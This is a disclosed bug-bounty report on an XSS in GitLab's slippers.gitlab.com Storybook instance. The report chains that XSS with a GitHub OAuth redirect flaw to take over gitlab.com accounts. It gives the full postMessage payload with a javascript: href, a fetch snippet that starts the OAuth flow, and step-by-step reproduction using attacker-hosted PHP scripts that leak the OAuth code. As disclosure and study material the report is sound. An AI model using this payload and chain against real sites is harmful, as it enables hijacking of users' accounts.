XSS on slippers.gitlab.com lead to account takeover on gitlab.com abusing OAuth flow
An XSS vulnerability on slippers.gitlab.com allowed an attacker to execute JavaScript in the context of that subdomain. By abusing GitHub OAuth's redirect_uri flexibility, an attacker could steal an OAuth code and take over a victim's GitLab.com account.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #3393461 by joaxcar on 2025-10-21, assigned to GitLab Team:
Report | Attachments | How To Reproduce
HackerOne Analyst Summary
Summary of the issue
The researcher found XSS at https://slippers.gitlab.com/ by injecting iframe to use Storybook component, and sending malicious payload to the iframe via postMessage key storybook-channel in href value.
Steps to reproduce
- As the attacker, launch attacker's Linux server -> Configure the server to run PHP
- As the attacker, create directory
/var/www/html/gitlab/story-> Place researcher's PoC scripts leak.php, index.php, and set_state.php in it:

- As the attacker, in attacker's browser, open
https://gitlab.com/users/sign_in-> Open browser DevTools -> Console -> Run following JS code:
fetch("https://gitlab.com/users/auth/github", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "authenticity_token=" + $$("meta[name='csrf-token']")[0].content,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
- As the attacker, copy link address and get
statevalue from error message:

- As the attacker, open
http://ATTACKER_SERVER_HOST/gitlab/story/set_state.php?state=ATTACKER_STATE, whereATTACKER_SERVER_HOSTis attacker's server host andATTACKER_STATEis state value from previous step:

- As the victim, in victim's browser, sign in victim's GitLab account using sign in with GitHub:

- As the victim, in victim's browser, open
http://ATTACKER_SERVER_HOST/gitlab/story/index.php-> Click Click me:

- As the attacker, in attacker's browser, open
http://ATTACKER_SERVER_HOST/gitlab/story/leak.php. You can see attacker is now signed in as victim:

Impact statement
Malicious actor can trick victim to visit malicious site, and sign in victim's GitLab account.
If you have any questions or concerns about this report, feel free to assign it to H1 Triage via the action picker with a comment indicating your request.
Original Report
Summary
There exists an XSS vulnerability on slippers.gitlab.com that abuses the hosted Storybook component. The XSS can be used to perform a session takeover of accounts on main gitlab.com that have a GitHub account tied to their account.
On slippers.gitlab.com there exists a component called slpbutton this component can take an optional href argument. Putting this href to a javascript: URL will trigger an XSS when clicked. You can test this by visiting https://slippers.gitlab.com/?path=/story/components-slpbutton--primary and putting javascript:alert() in the href config.
Storybook by default allows arguments to a component to be sent to a preview rendered in an iframe through postmessage. This way of configuring a component will not have any values automatically sanitized. An attacker can thus load the slpbutton component in an iframe like this
https://slippers.gitlab.com/iframe.html?args=slot%3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&viewMode=story&id=components-slpbutton--primary&globals=
and then send a postmessage to this frame like this
frames[0].postMessage(JSON.stringify({
"key": "storybook-channel",
"event": {
"type": "updateStoryArgs",
"args": [
{
"storyId": "components-slpbutton--primary",
"updatedArgs": {
"href": "javascript:alert(document.domain)",
"disabled": false,
"slot": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
}
],
"from": "88cc84b2ccbed8"
},
"refId": null
}), "*")
As this page can be framed on any domain, the attacker can create the XSS as a hidden iframe like this (we can here see the background iframe with an opacity 10% to see what's going on)

Not much can be done on slipper.gitlab.com, but as it's a subdomain of gitlab.com, we can perform some dangerous attacks. One of them is a session takeover of victims who have a GitHub account connected to their GitLab account. We can then perform an OAuth dirty dancing takeover.
As GitHub OAuth allows to modify the redirect url to any subdomain of the configured domain. We can just send the victim to the OAuth flow and point the redirect url to slippers.gitlab.com. When the OAuth code is returned, we can reach into the new window with our XSS and exfiltrate the code and log in to Gitlab as the victim user.
The flow goes like this:
- The attacker starts a GitHub OAuth login flow on their end
- The attacker sends the GitHub OAuth link (with the attacker's STATE` param) to the victim
- The victim who is already logged in to Gitlab and Github will just flow through the OAuth flow without any interaction.
- The attacker now leaks the
codethat is tied to the attacker's state, but the victim's session. - The attacker can now finalize the flow and log in to Gitlab.com as the victim
Steps to reproduce ATO on gitlab.com
As the attacker:
- Open
Chrome(or any other browser) - Go to https://gitlab.com/users/sign_in
- Open
dev toolsand run this in the terminal
fetch("https://gitlab.com/users/auth/github", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "authenticity_token=" + $$("meta[name='csrf-token']")[0].content,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
- There should be an error message in the console stating
Refused to connect to 'https://github.com/login...
Right-click the link and do copy link address
5. Paste the link anywhere and only select the state part of the url (the random string after state=)
6. Use the state to form a link like this (you can also self-host the attacker page )
https://poc.j15.se/gitlab/story.html?state=STATE
where STATE is the state from step 5
(note: this manual copy-pasting of state is just for the POC, this can be made server-side in a real attack and will not be part of the URL)
As the victim
7. Open another browser session
8. Log in to GitLab.com using GitHub Oauth
9. Visit the attacker link from step 6
10. Click the button Click me (a real attack would use a cookie banner or the Cloudflare "I am a human" screen)
11. There will be a pop-up and then it will close
12. In the POC pag,e you will see a link that the attacker can now use to log in as the victim. NOTE HERE that this link is shown in the page for convenience to make the POC simple, in a full-blown attack, this would be sent using a backend to the attacker
As the attacker
13. In the attacker's browser (where you ran step 2) visit the URL from step 12
14. The attacker should now be logged in to gitlab.com as the victim user
Video
Details of the ATO POC
I have tried to submit OAuth dirty dancing POCs in a number of ways, both with this more copy-and-paste flow and also with full-blown automatic exploitation. I feel like it is always hard to follow, and that the copy-and-paste flow often makes more sense. But if you want I can code together a quick "full exploit as well"
The ide from the OAuth dance is this:
- The attacker is generating a STATE, this can be done automatically in the backend when the victim visits a page.
- The
codethat is returned is tied to thestate, and the full redirect URL will only work in the attacker's session. The attacker will get logged in as the victim in the attacker's browser - In the POC, the victim browser presents the final URL. The victim will never see this in a real scenario; the victim will only see the page open and close, and then nothing.
- The
codeis returned toslippers.gitlab.comand is thus not consumed or even known about forgitlab.com. My POC page takes the returned URL and runsreplace("slippers.", "")on it that's why it's not seen in the page
Severity
I want to emphasize that the XSS this time is on slippers.gitlab.com, but the impact of the provided POC is on gitlab.com without any restrictions regarding access for either the attacker or victim on that domain. This puts the report on the scope for gitlab.com.
AC: high this time as there are some limiting factors such as the need for GitHub auth and active sessions, and the attacker page.
Privilege required is none as the attacker does not need any account on the targeted GitLab instance.
Output of checks
This bug happens on GitLab.com
Impact
XSS on slippers.gitlab.com leads to session takeover on gitlab.com by abusing Github OAuth flow
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could take over a victim's GitLab.com account if the victim has a GitHub account linked and is logged in, though the attack requires some user interaction and specific conditions.
What the attacker needed
Victim has GitHub linked to GitLab; victim is logged in to GitLab and GitHub; victim clicks a button on attacker's page
How it was found
- As the attacker, set up a PHP server with PoC scripts.
- As the attacker, obtain a GitHub OAuth state value by initiating the flow on gitlab.com.
- As the attacker, save the state on the attacker server.
- As the victim, sign in to GitLab using GitHub OAuth.
- As the victim, visit the attacker's page and click a button.
- As the attacker, use the leaked OAuth code to log in as the victim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The website slippers.gitlab.com had a flaw that let attackers run their own code in a visitor's browser. Because this site is part of gitlab.com, attackers could use it to steal a special code that lets them log in as the victim on gitlab.com.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.